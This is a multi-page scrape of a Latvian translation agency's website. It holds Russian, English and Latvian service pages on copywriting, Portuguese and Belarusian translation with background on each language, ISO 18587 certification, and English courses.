интернет-страницы, чтобы вы могли охватить максимальное количество потенциальных клиентов по всему миру, вы обратились по адресу. ЗНАЧЕНИЕ РЕКЛАМНЫХ И МНОГОЯЗЫЧНЫХ МАРКЕТИНГОВЫХ ТЕКСТОВ ДЛЯ РОСТА ВАШЕГО ПРЕДПРИЯТИЯ Работа с текстами – одна из важнейших задач отдела маркетинга каждого предприятия, в том числе и вашего! Метко и верно подобранные слова способны эффективно повлиять на ваших клиентов или побудить их к определенным действиям, что является ключом к успеху любой маркетинговой кампании. Маркетинговые тексты – это любого рода текстовые материалы, которые ваше предприятие может использовать в процессе продаж и в рекламе своих продуктов и услуг: печатные материалы, презентации, шаблоны электронных писем, легко конвертируемое многоязычное наполнение вашей интернет-страницы, а также тексты аудио- и видеоматериалов предприятия. Работа с текстом – это словно разговор по душам со своим лучшим другом – клиентом, который вдохновляет. Поэтому, чтобы подготовить действительно эффективный и целенаправленный рекламный лозунг, автору текста нужно очень хорошо знать своего читателя, его интересы и привычки, и даже самые потаенные мечты. В свою очередь, при адаптации или локализации заранее подготовленного содержания интернет-страницы необходимо провести предварительное исследование аудитории выбранного целевого рынка или государства. Особенно важно своевременно провести предварительное исследование ключевых слов Google, чтобы с самого начала заговорить на языке, на котором потенциальный покупатель ищет ваш продукт или услугу в конкретной стране. УНИКАЛЬНЫЙ АВТОРСКИЙ ТЕКСТ И МНОГОЯЗЫЧНЫЙ КОНТЕНТ-МАРКЕТИНГ В чем отличие между подготовкой уникального авторского текста и многоязычным контент-маркетингом? Контент-маркетинг – это весь контент, который ваше предприятие последовательно создает и публикует в Интернете, чтобы улучшить свое положение в результатах поисковых программ, тем самым также способствуя косвенным продажам. Обычно это содержание блогов на тему, в которой вы специализируетесь, истории из своего опыта, развлекательный или же образовательный материал. Почему это важно? Ответ простой - это способ установить долгосрочные отношения со своим клиентом, чтобы ему было интересно быть вашим подписчиком и вести диалог в социальных сетях, читать ваш блог и делиться записями, рассказывать о вас своим друзьям. Чем Skrivanek может вам помочь? Мы говорим на более чем 110 языках ваших потенциальных клиентов. Охватить желаемую целевую аудиторию в любой точке мира сейчас просто как никогда – вам нужно лишь выбрать страну или регион, а об остальном позаботятся авторы текстов Skrivanek. Межкультурная коммуникация – это наша специализация. НЕОБХОДИМ КОПИРАЙТИНГ? Мы подготовим для вас предложение и предоставим консультацию. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить КОГДА НУЖНО ДУМАТЬ О ПОДГОТОВКЕ КРЕАТИВНЫХ АВТОРСКИХ ТЕКСТОВ? Если коротко, то – всегда! Работа с текстом на самом деле никогда не заканчивается, ведь чтобы достичь бизнес-целей предприятия или стимулировать объемы продаж, нужно писать все новые и новые тексты. Чтобы больше зарабатывать, нужно искать новые рынки, работать над созданием новых продуктов, а для этого необходимы высококачественные маркетинговые тексты. Никогда не останавливается и работа над имеющимся содержанием – его нужно постоянно улучшать и адаптировать к параметрам программ-поисковиков. Поведение целевой аудитории тоже со временем меняется – люди начинают предпочитать другие социальные СМИ, становятся последователями новых лидеров мнений, а также могут резко измениться ценности ваших покупателей. Авторы текстов в Skrivanek пристально следят за новейшими тенденциями в маркетинге и рекламе, потому что реальность находящейся в разных странах и потенциальной целевой аудитории развивается и меняется, и каждая – по своему, у всех свои заботы, свои мечты. Общеизвестно, что рекламная культура США отличается от рекламной среды и традиций Японии; европейские покупатели тоже будут искать информацию о продуктах иными путями, чем жители Азии, потому что мы, как правило, ищем решения, соответствующие нашим повседневным потребностям и ситуации. ПОДГОТОВКА МНОГОЯЗЫЧНОГО МАРКЕТИНГОВОГО ТЕКСТА Крупные и малые предприятия, ведущие предпринимательскую деятельность в разных странах, неустанно работают над созданием голоса глобальной коммуникации и бренда предприятия. С этой задачей отлично помогают справиться предприятия, специализирующиеся на коммуникации и языковых услугах, у которых есть опыт и знание отличий в коммуникации разных стран. Нередко руководства и принципы коммуникации составляются в тесном сотрудничестве с клиентом, и тексты создаются заново, но чаще бренды предпочитают адаптировать имеющийся контент к целевой аудитории. Не уверены в том, что имеющиеся тексты будут достаточно эффективными и заинтересуют читателя? Авторы текстов Skrivanek в Латвии, Эстонии, Литве, Польше, Германии и других странах Европы и мира помогут преодолеть языковой барьер и быть услышанными. Помните, что каждый продукт и ситуация уникальны, и необходимо найти максимально адаптированное решение. ПЕРВЫЕ ЭТАПЫ ПОДГОТОВКИ КРЕАТИВНЫХ АВТОРСКИХ ТЕКСТОВ – С ЧЕГО НАЧАТЬ? Если вы уже решились написать текст, но не знаете, что именно писать, Skrivanek советует ответить себе на следующие вопросы: Какую проблему предлагаемый продукт или услуга помогает решить вашим клиентам? Что вы считаете преимуществами своего продукта или услуги? В чем вы превосходите конкурентов? Кто является вашей целевой аудиторией? Кто является вашим идеальным клиентом – охарактеризуйте его, представьте себе его возраст, пол, хобби и т. д. Какие люди или предприятия ранее уже пользовались вашим продуктом или услугами? Что вам известно о них? Чего ожидают от вас ваши нынешние клиенты? Как ваши продукты или услуги достигают клиентов? Вы будете обращаться к уже имеющейся аудитории или же постараетесь привлечь новых клиентов? Какой цели вы хотите достичь этим текстом? Каковы маркетинговые цели вашего предприятия вообще? Какой текст вы напишете – описание продукта, продающее электронное письмо, публикацию в социальных СМИ, блог, новую лендинговую страницу на веб-сайте? Писательские навыки приходят со временем, и их нужно развивать и тренировать, как и любые другие. ПЕРВЫЕ ЭТАПЫ ПОДГОТОВКИ КРЕАТИВНЫХ АВТОРСКИХ ТЕКСТОВ – С ЧЕГО НАЧАТЬ? Если вы уже решились написать текст, но не знаете, что именно писать, Skrivanek советует ответить себе на следующие вопросы: Какую проблему предлагаемый продукт или услуга помогает решить вашим клиентам? Что вы считаете преимуществами своего продукта или услуги? В чем вы превосходите конкурентов? Кто является вашей целевой аудиторией? Кто является вашим идеальным клиентом – охарактеризуйте его, представьте себе его возраст, пол, хобби и т. д. Какие люди или предприятия ранее уже пользовались вашим продуктом или услугами? Что вам известно о них? Чего ожидают от вас ваши нынешние клиенты? Как ваши продукты или услуги достигают клиентов? Вы будете обращаться к уже имеющейся аудитории или же постараетесь привлечь новых клиентов? Какой цели вы хотите достичь этим текстом? Каковы маркетинговые цели вашего предприятия вообще? Какой текст вы напишете – описание продукта, продающее электронное письмо, публикацию в социальных СМИ, блог, новую лендинговую страницу на веб-сайте? Писательские навыки приходят со временем, и их нужно развивать и тренировать, как и любые другие. КОГДА НУЖНО ДУМАТЬ О ПОДГОТОВКЕ КРЕАТИВНЫХ АВТОРСКИХ ТЕКСТОВ? Если коротко, то – всегда! Работа с текстом на самом деле никогда не заканчивается, ведь чтобы достичь бизнес-целей предприятия или стимулировать объемы продаж, нужно писать все новые и новые тексты. Чтобы больше зарабатывать, нужно искать новые рынки, работать над созданием новых продуктов, а для этого необходимы высококачественные маркетинговые тексты. Никогда не останавливается и работа над имеющимся содержанием – его нужно постоянно улучшать и адаптировать к параметрам программ-поисковиков. Поведение целевой аудитории тоже со временем меняется – люди начинают предпочитать другие социальные СМИ, становятся последователями новых лидеров мнений, а также могут резко измениться ценности ваших покупателей. Авторы текстов в Skrivanek пристально следят за новейшими тенденциями в маркетинге и рекламе, потому что реальность находящейся в разных странах и потенциальной целевой аудитории развивается и меняется, и каждая – по своему, у всех свои заботы, свои мечты. Общеизвестно, что рекламная культура США отличается от рекламной среды и традиций Японии; европейские покупатели тоже будут искать информацию о продуктах иными путями, чем жители Азии, потому что мы, как правило, ищем решения, соответствующие нашим повседневным потребностям и ситуации. ПОДГОТОВКА МНОГОЯЗЫЧНОГО МАРКЕТИНГОВОГО ТЕКСТА Крупные и малые предприятия, ведущие предпринимательскую деятельность в разных странах, неустанно работают над созданием голоса глобальной коммуникации и бренда предприятия. С этой задачей отлично помогают справиться предприятия, специализирующиеся на коммуникации и языковых услугах, у которых есть опыт и знание отличий в коммуникации разных стран. Нередко руководства и принципы коммуникации составляются в тесном сотрудничестве с клиентом, и тексты создаются заново, но чаще бренды предпочитают адаптировать имеющийся контент к целевой аудитории. Не уверены в том, что имеющиеся тексты будут достаточно эффективными и заинтересуют читателя? Авторы текстов Skrivanek в Латвии, Эстонии, Литве, Польше, Германии и других странах Европы и мира помогут преодолеть языковой барьер и быть услышанными. Помните, что каждый продукт и ситуация уникальны, и необходимо найти максимально адаптированное решение. Гарантия качества и конфиденциальности, подтвержденная сертификатами ISO Наши руководители проектов говорят на латышском, русском, английском, немецком и польском языках 99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов --- > Переводы документов, устные переводы, языковые курсы и другие языковые решения на португальском языке. Узнайте больше! - Published: 2022-12-28 - Modified: 2024-10-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-portugalu-valoda/ - Translation Priorities: Optional ПЕРЕВОДЫ НА ПОРТУГАЛЬСКИЙ ЯЗЫК СКОЛЬКО СТОИТ ПЕРЕВОД НА ПОРТУГАЛЬСКИЙ ЯЗЫК? Стоимость перевода с/на португальский язык устанавливается индивидуально для каждого заказа Цена состоит из нескольких компонентов согласно текущему прейскуранту бюро переводов Skrivanek. Цена последовательного перевода определяется исходя из времени оказания услуги, комбинации языков, на которые потребуется перевод. Цена письменного перевода определяется исходя из объема переводимого материала, срока выполнения перевода, специфики содержания текста, наличия повторов текста в переводе, необходимости графической обработки, форматирования текста, корректирования, а также дополнительных услуг по выбору клиента. СУЩЕСТВУЕТ ЛИ ПРЕЙСКУРАНТ НА УСЛУГИ ПЕРЕВОДА? Да, прейскурант на услуги письменного и устного (синхронного и последовательного) перевода, локализации и адаптации с/на португальский язык является неотъемлемой частью договора о сотрудничестве с нашими клиентами. Руководители проектов переводов компании Skrivanek всегда предоставляют подробную информацию о стоимости перевода до начала проекта перевода. Стоимость каждого заказа определяется индивидуально согласно действующему прейскуранту Skrivanek, исходя из количества слов в исходном тексте, дублирования в переводе и других параметров. Для составления сметы ждем ваш материал для перевода по электронной почте. Гарантия качества и конфиденциальности, подтвержденная сертификатами ISOНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов Необходим перевод? Ищете языковое решение или эксперта, который может дать совет? Мы подготовим предложение, разработанное специально для вас. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ИНТЕРЕСНЫЕ ФАКТЫ О ПОРТУГАЛЬСКОМ ЯЗЫКЕ Португальский язык относится к романской группе индоевропейской языковой семьи. Португальский язык берет свое начало в автономной области Галисия, расположенной на севере Португалии и северо-западе Испании. Галисийский язык представлял собой смесь местных диалектов и латыни, а португальский образовался как язык-преемник примерно в XIV веке. Даже сегодня те, кто говорит на португальском и галисийском языках, без труда понимают друг друга. Между тем португальский язык также относительно близок к испанскому. Для преподавания существует только два стандарта письменного португальского языка – европейский (лузитанский) португальский и бразильский португальский, которые имеют те же орфографические и лексические различия, что и британский и американский английский, но также и некоторые грамматические различия. Диалекты разговорного португальского языка, однако, сильно различаются по акценту и лексике. Существует десять основных диалектных зон в Португалии и на принадлежащих ей островах. Среди диалектов португальского языка в Испании выделяется галисийский, который иногда рассматривается как отдельный язык в политических целях. Диалекты в Бразилии сохраняют много лексических следов индейских и африканских языков, а также языков европейских эмигрантов. Возрождение современного португальского языка в Анголе и Мозамбике было обеспечено широкой стандартизацией языка в ущерб диалектам. В португальском языке нет грамматических спряжений, но количество спряжений глаголов может показаться бесконечным. Каждое время глагола имеет шесть разных спряжений При этом использование местоимений (я, ты, мы, он, они) опускается как стандартное, поскольку спряжение глаголов четко указывает на лицо и число. Португальский язык был провозглашен официальным языком в 1290 году. Португальский язык постепенно развился из латыни, после того как она была завезена в Португалию около 200 года до н. э. Однако лишь в 1290 году, когда португальский король-поэт Диниш I объявил его языком Португалии, португальский был признан официальным языком. Самые ранние записи на португальском языке датируются IX веком. Самое длинное слово в португальском языке anticonstitucionalíssimamente состоит из 29 букв и означает «очень неконституционным образом». Слово «есть/быть» (ir/būt) является универсальным в латышском языке, однако в португальском оно имеет две разные глагольные формы: ser и estar. Ser используется для обозначения чего-то постоянного, неизменного. Estar – для временных ситуаций, таких как настроение или погодные условия. ПОРТУГАЛЬСКИЙ АЛФАВИТ Система письма в Португалии основана на латинском алфавите, португальский алфавит состоит из 26 букв. Однако до 2009 года в нем было только 23 буквы. До недавнего времени буквы K, W и Y не были частью португальского языка. В таких словах, как, например, «килограмм», буква K заменялась на qu – quilograma, а звуки W и Y встречались лишь в иностранных словах. В 2009 году португалоязычные страны мира объединились для подписания нового Орфографического договора, который стандартизировал формы орфографии в разных вариациях португальского языка и ввел буквы K, W и Y. Португальский язык в ходе своей эволюции из общих латинских корней претерпел несколько систематических изменений звуков. Несмотря на то что лексически португальский язык ближе к испанскому, при сравнении гласных он больше похож на итальянский и каталонский тем, что в них сохранились оригинальные латинские гласные, которые теперь заменены дифтонгами в испанском и французском языках. НАСКОЛЬКО СЛОЖЕН ПОРТУГАЛЬСКИЙ ЯЗЫК? Португальский язык считается одним из самых простых для изучения языков в мире. Это очень благозвучный и богатый язык. Легче всего учить язык тем, кто уже владеет одним из романских языков – испанским или итальянским. Иногда, конечно, можно запутаться в разнообразии португальского произношения – несмотря на то, что это один язык, произношение сильно различается в разных странах и регионах. Необходимо также учитывать экспансивность, энергию и силу языка. Разумеется, большую роль в освоении языка играет нахождение среди людей, говорящих на нем, чтобы слушать, читать, разговаривать. Курсы португальского языка в Латвии предлагают несколько языковых школ, в том числе компания Skrivanek. ГДЕ И НАСКОЛЬКО РАСПРОСТРАНЕН ПОРТУГАЛЬСКИЙ ЯЗЫК? Португальский язык является родным для более чем 220 миллионов человек в Португалии, Бразилии и Анголе. Интересно, что лишь около 10 миллионов (или --- > Translations and other language solutions in Belarusian language. 30+ years of experience. Get a free quote in 25 minutes! - Published: 2022-12-21 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-baltkrievu-valoda/ - Translation Priorities: Optional BELARUSIAN TRANSLATIONS HOW MUCH DO BELARUSIAN TRANSLATIONS COST? The price of translations is individually calculated for each order. The price of the service is based on several elements: deadline of the translation, the specifics of the text, proofreading, formatting as well as additional services ordered by the client (notarial certification etc. ). IS THE PRICE LIST FOR TRNSLATIONS AVAILABLE? Yes, the price list for translations from/to Belarusian is an essential part of the cooperation agreement, and the client is always informed of the price of the translation before realisation of the project. Translation prices are determined individually, based on the specifics of the translation (written and oral), the number of words in the original text, the repetition of the text in the translation and other parameters. To receive a price offer made especially for you, send us the material you want to translate. Contact Skrivanek Baltic today for a free quote on Belarusian translation or any other combination of translation and related business services. Our Belarusian language services include: Belarusian Document Translation Belarusian Simultaneous Interpretation Belarusian Linguistic Validation Belarusian Consecutive Interpretation Belarusian Transcription Belarusian Typesetting and Graphics Belarusian Voiceovers and Subtitling Belarusian Staffing Solutions Belarusian Multicultural Marketing Belarusian Document Management Belarusian Deposition Services Belarusian Virtual Data Room Services Belarusian E-learning Support Looking for a language solution in Belarusian? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificatesOur project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year BELARUSIAN LANGUAGE IN FACTS Belarusian is a language of the East Slavic language family, spoken mainly by Belarusians. After the referendum of 14 May 1995, Belarusian lost its status as the only official language, its prestige and public use in Belarus began to decline rapidly. In the first Belarusian census in 1999, Belarusian was named as “the language spoken in the family” by about 4 million Belarusian citizens, or 36. 7% of the population. About 7 million or 85. 6% of Belarusians called it their “mother tongue”. According to a Belarusian government study in 2009, 72% of Belarusians speak Russian at home, while only 11. 9% of Belarusians actively use Belarusian. About 29. 4% of Belarusians can write, speak and read Belarusian, while 52. 5% can only read and speak. Belarusian is the national language of the Belarusian ethnos and the official language of the republic of Belarus, but literary Belarusian is spoken by a minority of the population (the most optimistic estimate is no more than 28% of the Belarusian population) and mainly in families that consciously maintain the language. There is no unforced communication of a domestic nature in Belarusian. Most people who claim to speak Belarusian actually speak what is known as Trasyanka, a mixture of Russian and Belarusian. It contains mostly Russian vocabulary but Belarusian grammar and phonetics. Trasyanka is the result of the mixing of the Belarusian dialect with modern literary Russian. It can be observed that Trasyanka has also made its way from the colloquial language into journalism. This situation in Belarus has arisen for various reasons, the main one being the 1996 referendum in Belarus, which gave the Russian language the same rights as Belarusian. The functions of the two national languages are extremely unequally balanced. No legal proceedings are conducted in Belarusian and almost no public records are kept. Belarusian is being actively pushed out of circulation by Russian and the tendency to close down publications in Belarusian language is increasing (starting with journalism). Russian has an active role in expanding the lexical composition of Belarusian, from which a large number of words and terms related to economy, culture, science, production and other areas of social life have been borrowed. The intensive relations with Lithuanians due to the geographical proximity and many centuries of coexistence in the same area, have led to the formation of Lithuanian-origin vocabulary in Belarusian. The almost four hundred years of development of the Belarusian language under the conditions of Belarus-Polish bilingualism became one of the reasons for the existence of many Polonisms in Belarusian. Germanisms entered the Belarusian lexicon from German merchants, craftsmen and military specialists who were invited during the Lithuanian Grand Duchy. Among the Germanisms in modern Belarusian are words related to crafts, construction, warfare and trade. PRONUNCIATIONS There are two dialects of Belarusian: the northeastern dialect and the southwestern dialect. They are separated by the middle Belarusian transitional dialects. The Belarusian dialects are close, speakers of one dialect can fluently understands the speech of another dialect. Today, the number of Belarusian speaking pupils is falling rapidly. In regional centres and big cites, only a few pupils are learning in their mother tongue. There are no higher education institutions offering education in Belarusian. This is one of the main factors discouraging parents from sending their children to Belarusian schools. In the 1994–1995 school year, 58% of pupils in the first grades of primary school were taught in Belarusian (in Minsk). After Lukashenko came to power in 1994, the number of classes decreased. In 1999, only 5. 3% of pupils in the first year of primary school in Minsk were taught in Belarusian. In the 2016–2017 school year, almost 128,000 pupils (13. 3% of the total) studied in Belarusian. Most Belarusian language schools are located in rural areas and are gradually closing as people move to urban areas. Every year, around 100 schools, most of which use Belarusian for teaching, close in the regions of Belarus. There is a tendency to transfer pupils from these schools to Russian speaking schools. This results in a loss of students who are taught in Belarusian. Within cities, there are only seven Belarusian language schools, six of which are in Minsk, the capital of Belarus (2019). Belarusian is listed as vulnerable language according to the UNESCO Atlas of the World’s Languages in Danger. THE BELARUSIAN ALPHABET The Belarusian alphabet is based on the Cyrillic script and is derived from the Slavic alphabet of the Old Church. It has existed in its modern Belarusian form since 1918. Before that, Belarusian was also written in the Belarusian Latin alphabet (Łacinka/Лацінка), the Belarusian Arabic alphabet and the Hebrew alphabet. A special page in the history of old Belarusian writing in the 16th–17th centuries is the handwritten books written in Belarusian using Arabic script – kitabs. These were created from the 16th century by Crimean Tatars settled in Lithuania and Belarus, who eventually lost the language of their people. Belarusian became for them not only a spoken language, but also a written language used for various types of Muslim religious and translated Oriental secular literature. These artifacts are valuable partly because they systematically demonstrate, through the use of Arabic letters, the phonetic peculiarities of the Belarusian language, which are only occasionally recorded in old Belarusian artifacts written in Cyrillic. HOW DIFFICULT IS BELARUSIAN? Belarusian is related to Russian and Ukrainian, so it should be easy for speakers of these languages to learn Belarusian. Phonetically, it sounds good and its grammar is very similar to Russian. Language learning could be made more difficult by the fact that it is hard to find teaching materials nowadays, as what is available is quite Russified. In Belarusian schools, sad as it may be, children learn their national language, Belarusian, as a foreign language just like English. BELARUSIAN TRANSLATOR AND INTERPRETER The Skrivanek translation agency offers professional written text translation and interpreting into and from Belarusian. Translations are provided by interpreters with many years of experience in their field and professional knowledge in various areas. Our experience guarantees that the translation corresponds to the original text and the information contained is comprehensible. Proofreaders will take care of stylistic improvements and proofreading of the text. Our team of translators and interpreters provides clients of Skrivanek with both regular and notarised translations. For both legal and natural persons, we offer court interpreting as well as interpreting during business negotiations. We translate technical documentation, websites, contracts and e-commerce content from/into Belarusian. For any client’s request we will certainly find the best solution and language specialist. For private individuals we provide translations of personal identification documents, marriage certificates, education documents and other civil law documents, as well as interpreting from/to Belarusian. BELARUSIAN LANGUAGE IN BUSINESS Given the current political situation in Belarus, Belarusian is hardly used as a business language in Belarus. A second national language, Russian, is used. Of course, Belarusian is the mother tongue of a large part of the Belarusian population, but it is used more as the language of everyday communication at home. Russian and English are used for business communication with partners from other countries. BELARUSIANS IN LATVIA Latvia's Belarussians are the second largest minority after Latvia's Russians. Belarusians have lived in southeastern Latvia for centuries. Trade links across the Daugava, the river shared by two peoples, have been maintained since the middle ages. Similarly, there have always been small Latvian communities in Belarus. Latvia's Belarusians still make up a significant part of the population on the Belarusian border. Before Second World War, up to 37,000 Belarusians lived in Latvia. The years of Latvian independence after the First World War were very favourable for the Belarusians, as they were granted the status of a minority. The Belarusian intelligentsia received state funding, founded by the cultural and educational association “Tēvija” (“Бацькаўшчына”) and opened more than 50 Belarusian schools and gymnasiums. During this period, press publications in Belarussian were published, Belarusian associations and theatres were founded. During this period, Belarusians began to care about the protection and development of their language. In 1934, the Belarusian schools were abolished because the Latvian language began to take control in Latgale. Some schools were reopened during the German occupation, only to be closed in 1944. In the 1950s–1980s there was a significant wave of Belarusian migration to Latvia already linked to the Soviet totalitarian regime. Therefore, there are about 80,000 Belarusians living in Latvia today but for many, their ethnicity is more a question of ethnic origin than identity. Only a fifth of Belarusians are able to communicate in their mother tongue. Most Belarusians live in mixed families where Russian is the dominant language. There is only one Belarusian primary school in Latvia – the Yanka Kupala Belarusian Primary School, which aims to help Belarusian children preserve their language and culture and integrate into Latvian society. Unfortunately, the school cannot offer secondary education. Undeniably, the opportunity to be educated in one’s mother tongue is the best of all possibilities. Belarusian associations do their best to preserve their identity, promote the preservation and development of folk song traditions, language and culture among Belarusians living in Latvia, as well as promote social integration and international cooperation. In 2011, the Latvian Belarusian Union, with the support of the Riga City Council, the Embassy of Belarus, Liepāja Metalurgs and Iļģuciems, published the first Latvian-Belarusian, Belarusian-Latvian dictionary, which was started by linguist Mirdza Ābola, but after her death was completed and prepared for printing under the supervision of Ivan Lučic-Fedorec, associate of the Institute of Language and Literature of the Belarusian Academy of Sciences and candidate of philological sciences. Currently, the interests of the Belarusian population and Belarusians in Latvia are represented by the Belarusian consulate in Daugavpils. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO BELARUSIAN: specialised and general translations; urgent written translations; translations certified by a notary; machine translation with editing; text adaptation and copywriting; localisation; DTP– desktop publishing; interpreting; language courses. LANGUAGE COMBINATIONS: Latvian to English; English to Latvian; Latvian to Belarusian; Belarusian to Latvian; Estonian to Belarusian; Belarusian to Estonian; Lithuanian to Belarusian; Belarusian to Lithuanian; Russian to Belarusian; Belarusian to Russian; Czech to Belarusian; Belarusian to Czech; Polish to Belarusian; Belarusian to Polish; Ukrainian to Belarusian; Belarusian to Ukrainian; Belarusian to Spanish; Spanish to Belarusian; German to Belarusian; Belarusian to German; Italian to Belarusian; Belarusian to Italian; French to Belarusian; Belarusian to French; Danish to Belarusian; Belarusian to Danish; Norwegian to Belarusian; Belarusian to Norwegian; Swedish to Belarusian; Belarusian to Swedish; Finnish to Belarusian; Belarusian to Finnish and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO BELARUSIAN: specialised and general translations; urgent written translations; translations certified by a notary; machine translation with editing; text adaptation and copywriting; localisation; DTP– desktop publishing; interpreting; language courses. LANGUAGE COMBINATIONS: Latvian to English; English to Latvian; Latvian to Belarusian; Belarusian to Latvian; Estonian to Belarusian; Belarusian to Estonian; Lithuanian to Belarusian; Belarusian to Lithuanian; Russian to Belarusian; Belarusian to Russian; Czech to Belarusian; Belarusian to Czech; Polish to Belarusian; Belarusian to Polish; Ukrainian to Belarusian; Belarusian to Ukrainian; Belarusian to Spanish; Spanish to Belarusian; German to Belarusian; Belarusian to German; Italian to Belarusian; Belarusian to Italian; French to Belarusian; Belarusian to French; Danish to Belarusian; Belarusian to Danish; Norwegian to Belarusian; Belarusian to Norwegian; Swedish to Belarusian; Belarusian to Swedish; Finnish to Belarusian; Belarusian to Finnish and others. --- > Skrivanek vērtība ir atbildība pret klientu, kas ietver arī mašīntulkojumu pareizību. Esam saņēmuši ISO 18587 sertifikātu. - Published: 2022-11-29 - Modified: 2024-10-30 - URL: https://skrivanek.lv/iso-18587-2017/ - Translation Priorities: Optional ISO 18587:2017 – MAŠĪNTULKOTO TEKSTU PĒCAPSTRĀDES VADĪBAS SISTĒMAS SERTIFIKĀTS --- > Skrivanek's value is customer responsibility, which includes the accuracy of machine translations. We are ISO 18587 certified. - Published: 2022-11-29 - Modified: 2024-10-30 - URL: https://skrivanek.lv/iso-18587-2017/ - Translation Priorities: Optional ISO 18587:2017 – CERTIFICATE FOR MACHINE TRANSLATION POST-EDITING MANAGEMENT SYSTEM --- > Skrivaneki väärtus on kliendi vastutus, mis hõlmab ka masintõlke täpsust. Meil on ISO 18587:2017 sertifikaat. - Published: 2022-11-29 - Modified: 2024-10-30 - URL: https://skrivanek.lv/iso-18587-2017/ - Translation Priorities: Optional ISO 18587:2017 – MASINTÕLKE JÄRELTÖÖTLUSE JUHTIMISSÜSTEEMI SERTIFIKAAT --- > Skrivanekin arvona on asiakkaan vastuullisuus, johon kuuluu myös konekäännösten tarkkuus. Meillä on ISO 18587 -sertifikaatti. - Published: 2022-11-29 - Modified: 2024-10-30 - URL: https://skrivanek.lv/iso-18587-2017/ - Translation Priorities: Optional ISO 18587:2017 – TODISTUS KONEKÄÄNNÖSTEN JÄLKIKÄSITTELYN HALLINTAJÄRJESTELMÄSTÄ --- > Skrivanek vertybė– klientų atsakomybė, kuri apima ir mašininio vertimo tikslumą. Esame gavę ISO 18587 sertifikatą. - Published: 2022-11-29 - Modified: 2024-10-30 - URL: https://skrivanek.lv/iso-18587-2017/ - Translation Priorities: Optional ISO 18587:2017 – MAŠININIO VERTIMO PO REDAGAVIMO VADYBOS SISTEMOS SERTIFIKATAS --- > Angļu valodas kursi – iespēja apgūt valodu dažādos veidos jebkurā vecumā. Klātienē vai online. Izvēlies sev piemērotāko mācību veidu! 👆️ - Published: 2022-11-22 - Modified: 2025-07-21 - URL: https://skrivanek.lv/pakalpojumi/valodu-kursi/anglu-valodas-kursi/ - Translation Priorities: Optional KĀPĒC MĀCĪTIES ANGĻU VALODU? Mūsdienās angļu valoda runātāju skaita ziņā ir nākamā lielākā valoda pēc ķīniešu un spāņu valodas. Angļu valoda ir oficiālā valsts valoda 39 valstīs, bet vēl 19 valstīs tā ir dzimtā valoda daļai iedzīvotāju. Kopumā angļu valoda visā pasaulē ir dzimtā valoda aptuveni 411,5 miljoniem cilvēku. Angļu ir vadošā valoda tādās nozarēs kā zinātne, aviācija, diplomātija, tūrisms, IT un tehnoloģijas. Angļu valodas zināšanas ir būtisks priekšnosacījums, lai iegūtu darbu starptautiskā uzņēmumā vai ārzemēs, biznesā – lai iekarotu eksporta tirgu un veidotu sadarbības ar partneriem ārpus savas valsts. Angļu valodā pieejami plaši informācijasi – mediji, grāmatas, interneta vide utt. Tā ir visizplatītākā saziņas valoda multikulturālās vidēs, tādēļ būs neatsverams palīgs arī ceļojot. Angļu valodas kursus var uztvert kā iespēju mainīt jūsu dzīvi izglītības, karjeras, sociālās dzīves un izklaides sfērās. Valodas apguvei nepieciešams vien izbrīvēt laiku un atrast īsto motivāciju, lai, pirmajam entuziasmam noplokot, apņēmība nezustu. PIETEIKTIES UN UZZINĀT 